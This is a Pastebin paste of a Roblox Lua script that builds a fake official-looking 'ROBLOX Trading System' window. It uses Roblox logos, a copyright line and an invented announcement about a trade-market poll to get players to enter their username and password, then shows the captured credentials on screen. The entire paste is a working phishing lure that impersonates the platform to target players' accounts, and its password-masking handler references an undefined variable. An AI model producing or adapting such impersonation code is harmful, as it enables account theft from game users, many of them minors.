Guest User

scripttard

a guest
Aug 15th, 2018
50
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.47 KB | None | 0 0
  1. --credits to dynamiteboys on v3rm
  2. Players = Game:GetService("Players")
  3. Player = Players.LocalPlayer
  4. PlayerGui = Player.PlayerGui
  5.  
  6. function Class(ClassName, Parent, Name, Function)
  7. local Object = Instance.new(ClassName, Parent)
  8. Object.Name = Name
  9. if Function then
  10. Function(Object)
  11. end
  12. return Object
  13. end
  14.  
  15. pcall(function ()
  16. PlayerGui["ROBLOX Trading System"]:Destroy()
  17. end)
  18.  
  19. --92674865 (Responding to User Feedback)
  20. --©2013 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys.
  21.  
  22. ScreenGui = Class("ScreenGui", PlayerGui, "ROBLOX Trading System")
  23. Frame = Class("Frame", ScreenGui, "Frame", function (Object)
  24. Object.Style = "RobloxRound"
  25. Object.Size = UDim2.new(0, 650, 0, 500)
  26. Object.Position = UDim2.new(0.5, -250, 0.5, -250)
  27. end)
  28. Roblox = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  29. Object.Image = "http://www.roblox.com/asset?id=100709875"
  30. Object.BorderSizePixel = 0
  31. Object.BackgroundTransparency = 1
  32. Object.Size = UDim2.new(0.4, 0, 0.4, 0)
  33. Object.Position = UDim2.new(0.3, 0, 0.05, 0)
  34. end)
  35. Trade = Class("TextLabel", Frame, "TextLabel", function (Object)
  36. Object.Text = "Trade Market"
  37. Object.TextColor3 = Color3.new(1, 1, 1)
  38. Object.Font = 2
  39. Object.FontSize = 8
  40. Object.TextStrokeColor3 = Color3.new(1, 0, 0)
  41. Object.TextStrokeTransparency = 0
  42. Object.BorderSizePixel = 0
  43. Object.BackgroundTransparency = 1
  44. Object.Size = UDim2.new(0.4, 0, 0.1, 0)
  45. Object.Position = UDim2.new(0.3, 0, 0.15, 0)
  46. end)
  47. Copyright1 = Class("TextLabel", Frame, "TextLabel", function (Object)
  48. Object.Text = "©2013 ROBLOX Corporation is a Trademark of ROBLOX: ROBLOX is not affiliated with the LEGO, MEGA, or K'Nex products and toys."
  49. Object.TextColor3 = Color3.new(1, 1, 1)
  50. Object.Font = 2
  51. Object.FontSize = 2
  52. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  53. Object.TextStrokeTransparency = 0.6
  54. Object.BorderSizePixel = 0
  55. Object.BackgroundTransparency = 1
  56. Object.Size = UDim2.new(0, 0, 0, 0)
  57. Object.Position = UDim2.new(0.5, 7.5, 1, 0)
  58. end)
  59. Copyright2 = Class("ImageLabel", Frame, "ImageLabel", function (Object)
  60. Object.Image = "http://www.roblox.com/asset?id=107726222"
  61. Object.BorderSizePixel = 0
  62. Object.BackgroundTransparency = 1
  63. Object.Size = UDim2.new(0, 15, 0, 15)
  64. Object.Position = UDim2.new(0, 17.5, 1, -7.5)
  65. end)
  66. Info = Class("TextButton", Frame, "TextLabel", function (Object)
  67. Object.Text = "What is the ROBLOX Trade Market?"
  68. Object.TextColor3 = Color3.new(1, 1, 1)
  69. Object.Font = 2
  70. Object.FontSize = 6
  71. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  72. Object.TextStrokeTransparency = 0.6
  73. Object.BackgroundTransparency = 1
  74. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  75. Object.Position = UDim2.new(0.25, 0, 0.3, 0)
  76. end)
  77. Info2 = Class("TextButton", Frame, "TextLabel", function (Object)
  78. Object.Text = [[ The ROBLOX Trade Market is an in-game feature that is being created by ROBLOX developers. This feature will allow ROBLOX users to interact and trade with other players in-game, and also will allow them to test items before they buy Gear, or Clothing.
  79. Roblox has decided, therefore, to poll the ROBLOX population in order to gather their thoughts about the matter.]]
  80. Object.TextColor3 = Color3.new(1, 1, 1)
  81. Object.Font = 2
  82. Object.FontSize = 6
  83. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  84. Object.TextStrokeTransparency = 0.6
  85. Object.BackgroundTransparency = 1
  86. Object.Size = UDim2.new(0.75, 0, 0.5, 0)
  87. Object.TextWrap = true
  88. Object.TextXAlignment = "Left"
  89. Object.TextYAlignment = "Top"
  90. Object.Position = UDim2.new(0.125, 0, 0.35, 0)
  91. end)
  92. VoteFrame = Class("Frame", Frame, "Frame", function (Object)
  93. Object.Style = "ChatRed"
  94. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  95. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  96. end)
  97. VoteFrame.MouseEnter:connect(function ()
  98. VoteFrame.Style = "ChatGreen"
  99. end)
  100. VoteFrame.MouseLeave:connect(function ()
  101. VoteFrame.Style = "ChatRed"
  102. end)
  103. Vote = Class("TextButton", Frame, "TextButton", function (Object)
  104. Object.Text = "Please sign in to continue."
  105. Object.TextColor3 = Color3.new(1, 1, 1)
  106. Object.Font = 2
  107. Object.FontSize = 6
  108. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  109. Object.TextStrokeTransparency = 0.6
  110. Object.BackgroundTransparency = 1
  111. Object.Size = UDim2.new(0.5, 0, 0.1, 0)
  112. Object.Position = UDim2.new(0.25, 0, 0.75, 0)
  113. end)
  114. Vote.MouseButton1Down:connect(function ()
  115.  
  116. for i = 1, 10 do
  117. wait(0.01)
  118. Vote.TextTransparency = Vote.TextTransparency + 0.1
  119. Vote.TextStrokeTransparency = Vote.TextStrokeTransparency + 0.06
  120. Info.TextTransparency = Info.TextTransparency + 0.1
  121. Info.TextStrokeTransparency = Info.TextStrokeTransparency + 0.06
  122. Info2.TextTransparency = Info2.TextTransparency + 0.1
  123. Info2.TextStrokeTransparency = Info2.TextStrokeTransparency + 0.06
  124. end
  125.  
  126. VoteFrame.Size = UDim2.new(0.25, 0, 0.1, 0)
  127. VoteFrame.Position = UDim2.new(0.375, 0, 0.75, 0)
  128.  
  129. Vote:Destroy()
  130. Info:Destroy()
  131. Info2:Destroy()
  132.  
  133. Please = Class("TextLabel", Frame, "TextLabel", function (Object)
  134. Object.Text = "Please enter your username and password in the space below."
  135. Object.TextColor3 = Color3.new(1, 1, 1)
  136. Object.TextTransparency = 1
  137. Object.Font = 2
  138. Object.FontSize = 6
  139. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  140. Object.TextStrokeTransparency = 1
  141. Object.BackgroundTransparency = 1
  142. Object.Size = UDim2.new(0.7, 0, 0.05, 0)
  143. Object.Position = UDim2.new(0.15, 0, 0.3, 0)
  144. end)
  145. UsernameBox = Class("TextBox", Frame, "TextLabel", function (Object)
  146. Object.Text = ""
  147. Object.TextColor3 = Color3.new(0, 0, 0)
  148. Object.TextTransparency = 1
  149. Object.Font = 2
  150. Object.FontSize = 6
  151. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  152. Object.TextStrokeTransparency = 1
  153. Object.BorderSizePixel = 0
  154. Object.BackgroundTransparency = 1
  155. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  156. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  157. Object.Position = UDim2.new(0.35, 0, 0.4, 0)
  158. end)
  159. Username = Class("TextLabel", Frame, "TextLabel", function (Object)
  160. Object.Text = "Username:"
  161. Object.TextColor3 = Color3.new(1, 1, 1)
  162. Object.TextTransparency = 1
  163. Object.Font = 2
  164. Object.FontSize = 6
  165. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  166. Object.TextStrokeTransparency = 1
  167. Object.BackgroundTransparency = 1
  168. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  169. Object.Position = UDim2.new(0, 0, 0.4, 0)
  170. end)
  171. PasswordBox = Class("TextBox", Frame, "TextLabel", function (Object)
  172. Object.Text = ""
  173. Object.TextColor3 = Color3.new(0, 0, 0)
  174. Object.TextTransparency = 1
  175. Object.Font = 2
  176. Object.FontSize = 6
  177. Object.TextStrokeColor3 = Color3.new(0.6, 0.6, 0.6)
  178. Object.TextStrokeTransparency = 1
  179. Object.BorderSizePixel = 0
  180. Object.BackgroundTransparency = 1
  181. Object.BackgroundColor3 = Color3.new(0.9, 0.9, 0.9)
  182. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  183. Object.Position = UDim2.new(0.35, 0, 0.5, 0)
  184. end)
  185. Password = Class("TextLabel", Frame, "TextLabel", function (Object)
  186. Object.Text = "Password:"
  187. Object.TextColor3 = Color3.new(1, 1, 1)
  188. Object.TextTransparency = 1
  189. Object.Font = 2
  190. Object.FontSize = 6
  191. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  192. Object.TextStrokeTransparency = 1
  193. Object.BackgroundTransparency = 1
  194. Object.Size = UDim2.new(0.5, 0, 0.05, 0)
  195. Object.Position = UDim2.new(0, 0, 0.5, 0)
  196. end)
  197. Login = Class("TextButton", Frame, "TextButton", function (Object)
  198. Object.Text = "Login"
  199. Object.TextColor3 = Color3.new(1, 1, 1)
  200. Object.TextTransparency = 1
  201. Object.Font = 2
  202. Object.FontSize = 6
  203. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  204. Object.TextStrokeTransparency = 1
  205. Object.BackgroundTransparency = 1
  206. Object.Size = UDim2.new(0.25, 0, 0.1, 0)
  207. Object.Position = UDim2.new(0.375, 0, 0.75, 0)
  208. end)
  209.  
  210. for i = 1, 10 do
  211. wait(0.01)
  212. Please.TextTransparency = Please.TextTransparency - 0.1
  213. Please.TextStrokeTransparency = Please.TextStrokeTransparency - 0.04
  214. UsernameBox.TextTransparency = UsernameBox.TextTransparency - 0.1
  215. UsernameBox.TextStrokeTransparency = UsernameBox.TextStrokeTransparency - 0.06
  216. UsernameBox.BackgroundTransparency = UsernameBox.BackgroundTransparency - 0.1
  217. Username.TextTransparency = Username.TextTransparency - 0.1
  218. Username.TextStrokeTransparency = Username.TextStrokeTransparency - 0.04
  219. PasswordBox.TextTransparency = PasswordBox.TextTransparency - 0.1
  220. PasswordBox.TextStrokeTransparency = PasswordBox.TextStrokeTransparency - 0.06
  221. PasswordBox.BackgroundTransparency = PasswordBox.BackgroundTransparency - 0.1
  222. Password.TextTransparency = Password.TextTransparency - 0.1
  223. Password.TextStrokeTransparency = Password.TextStrokeTransparency - 0.04
  224. Login.TextTransparency = Login.TextTransparency - 0.1
  225. Login.TextStrokeTransparency = Login.TextStrokeTransparency - 0.04
  226. end
  227.  
  228. Pass = PasswordBox.Text
  229.  
  230. PasswordBox.Changed:connect(function (Property)
  231. if Property == "Text" then
  232. Pass = PasswordBox.Text
  233. PasswordBox.Text = string.rep("*", #Text)
  234. end
  235. end)
  236.  
  237. Login.MouseButton1Down:connect(function ()
  238. Information1 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  239. Object.Text = UsernameBox.Text
  240. Object.TextColor3 = Color3.new(1, 1, 1)
  241. Object.Font = 2
  242. Object.FontSize = 6
  243. Object.TextStrokeColor3 = Color3.new(0.4, 0.4, 0.4)
  244. Object.TextStrokeTransparency = 0
  245. Object.BackgroundTransparency = 1
  246. Object.Size = UDim2.new(0, 100, 0, 15)
  247. Object.Position = UDim2.new(0, 0, 0, 350)
  248. end)
  249. Information2 = Class("TextButton", ScreenGui, "TextButton", function (Object)
  250. Object.Text = Pass
  251. Object.TextColor3 = Color3.new(1, 0.6, 0.6)
  252. Object.Font = 2
  253. Object.FontSize = 6
  254. Object.TextStrokeColor3 = Color3.new(0.6, 0.4, 0.4)
  255. Object.TextStrokeTransparency = 0
  256. Object.BackgroundTransparency = 1
  257. Object.Size = UDim2.new(0, 100, 0, 15)
  258. Object.Position = UDim2.new(0, 200, 0, 350)
  259. end)
  260. end)
  261.  
  262. end)
Add Comment
Please, Sign In to add comment